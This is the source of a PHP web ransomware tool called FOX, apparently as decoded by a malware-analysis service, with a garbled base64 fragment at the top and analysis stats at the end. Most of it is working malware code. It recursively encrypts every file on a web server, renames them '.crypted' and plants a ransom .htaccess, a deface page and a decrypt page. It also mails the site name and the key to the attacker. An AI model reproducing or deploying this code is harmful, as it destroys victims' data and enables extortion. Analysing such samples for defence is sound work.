oa5fEGbwKynbC3Wc35Fshoh6dWDkWxxMSc44oYZmG53crAqL0RFQyI+CiAgICAgIDxzZWxlY3QgbmFtZT0ibWV0aG9kIiBjbGFzcz0ic2VsZWN0ZSI+CiGNxu6q1PXKqqKe8XoA4U6SY3Ldz9SgJJK1hkQbjbajdGlvbjwvb3B0aW9uPgogICAgICAgICA8b3B0aW9uIHZhbHVlPXKqqKe8Xoa5fEGbwKynbC3Wc35Fshoh6dWDkWxxMSc44oYZAqqlY3Q+CiAgICAgIDxpbnB1dCB0eXBlPXKqqKe8Xoa5fEGbwKynbC3Wc35Fshoh6dWDkWxxMXKqqKe8XoA4U6SY3Ldz9SgJJK1hkQbjbaj+CjwvZm9ybT4KPD9waHAKfT8+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCgo8P3BocAo/Pgo="))){        echo '<i class="fa fa-smile-o" aria-hidden="true"></i>  decrypt.php (This is the Decryption Page)<br>';
            }
        }
    }
    public function shcpackUnstall() {
        if (file_exists(".fox")) {
            if (unlink(".htaccess") && unlink("fox.php") && unlink("decrypt.php")) {
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> <font color=#FFFF00> .htaccess (Ransomware .htaccess file)<br></font>';
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> <font color=#FFFF00> fox.php (This is the Deface Page)<br></font>';
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> <font color=#FFFF00> decrypt.php (This is the Decryption Page)<br></font>';
            }
            rename(".fox", ".htaccess");
        }
    }
    public function plus() {
        flush();
        ob_flush();
    }
    public function locate() {
        return getcwd();
    }
    public function shcdirs($dir, $method, $key) {
        switch ($method) {
            case '1':
                deRanSomeware::shcpackInstall();
            break;
            case '2':
                deRanSomeware::shcpackUnstall();
            break;
        }
        foreach (scandir($dir) as $d) {
            if ($d != '.' && $d != '..') {
                $locate = $dir . DIRECTORY_SEPARATOR . $d;
                if (!is_dir($locate)) {
                    if (deRanSomeware::kecuali($locate, "033.php") && deRanSomeware::kecuali($locate, ".png") && deRanSomeware::kecuali($locate, ".htaccess") && deRanSomeware::kecuali($locate, "fox.php") && deRanSomeware::kecuali($locate, "decrypt.php") && deRanSomeware::kecuali($locate, ".fox")) {
                        switch ($method) {
                            case '1':
                                deRanSomeware::shcEnCry($key, $locate);
                                deRanSomeware::shcEnDesDirS($locate, "1");
                            break;
                            case '2':
                                deRanSomeware::shcDeCry($key, $locate);
                                deRanSomeware::shcEnDesDirS($locate, "2");
                            break;
                        }
                    }
                } else {
                    deRanSomeware::shcdirs($locate, $method, $key);
                }
            }
            deRanSomeware::plus();
        }
        deRanSomeware::report($key);
    }
    public function report($key) {
        $message.= "=========     Details    =========
";
        $message.= "Website : " . $_SERVER['HTTP_HOST'];
        $message.= "Key     : " . $key;
        $message.= "Decryption Key Is
";
        $subject = "Ransomeware Decryption Key
";
        $ducker = "[email protected]";
        $headers = "From: Ransomware <[email protected]>
";
        mail($ducker, $subject, $message, $headers);
    }
    public function shcEnDesDirS($locate, $method) {
        switch ($method) {
            case '1':
                rename($locate, $locate . ".crypted");
            break;
            case '2':
                $locates = str_replace(".crypted", "", $locate);
                rename($locate, $locates);
            break;
        }
    }
    public function shcEnCry($key, $locate) {
        $data = file_get_contents($locate);
        $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_DEV_URANDOM);
        $encrypted = base64_encode( //encrption: change it
        $iv . mcrypt_encrypt(MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), $data, MCRYPT_MODE_CBC, $iv));
        if (file_put_contents($locate, $encrypted)) {
            echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#FF0000">Locked</font> (<font color="#40CE08">Success</font>) <font color="#00FFFF">--></font> <font color="#2196F3">' . $locate . '</font> <br>';
        } else {
            echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#00BCD4">Locked</font> (<font color="red">Unsuccessful</font>) <font color="#00FFFF">--></font> ' . $locate . ' <br>';
        }
    }
    public function shcDeCry($key, $locate) {
        $data = base64_decode(file_get_contents($locate));
        $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
        $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $iv), "");
        if (file_put_contents($locate, $decrypted)) {
            echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="#40CE08">Success</font>) <font color="#00FFFF">--></font> <font color="#2196F3">' . $locate . '</font> <br>';
        } else {
            echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="red">Unsuccessful</font>) <font color="#00FFFF">--></font> <font color="#2196F3">' . $locate . '</font> <br>';
        }
    }
    public function kecuali($ext, $name) {
        $re = "/({$name})/";
        preg_match($re, $ext, $matches);
        if ($matches[1]) {
            return false;
        }
        return true;
    }
}
if ($_POST['submit']) {
    switch ($_POST['method']) {
        case '1':
            deRanSomeware::shcdirs(deRanSomeware::locate(), "1", $_POST['key']);
        break;
        case '2':
            deRanSomeware::shcdirs(deRanSomeware::locate(), "2", $_POST['key']);
        break;
    }
} else {
?>
<center>
<pre>
<center><h1>
<font color="#B4164D">                                                                      
 
     __________ _  __
   / ____/ __ \ |/ /
  / /_  / / / /   / 
 / __/ / /_/ /   |  
/_/    \____/_/|_|  

</font><br>
<h2><font color=yellow>Just Put Your Encryption/Decryption Key Here</h2> </font>
</pre>
<form action="" method="post" style=" text-align: center;">
<font color="#B4164D">
      <label>Key : </label>
      <input type="text" name="key" class="inpute" placeholder="KEY ENC/DEC">
      <select name="method" class="selecte">
         <option value="1">Infect</option>
         <option value="2">Disinfect</option>
      </select>
      <input type="submit" name="submit" class="submite" value="Submit" />
</form>
<?php
} ?>
</div>
</body>
</html>

Function Calls

session_start 1
error_reporting 1
set_time_limit 1
getenv 1

Variables

None

Stats

MD5 8c97fc457909ff74b68623dbf164a950
Eval Count 0
Decode Time 1482 ms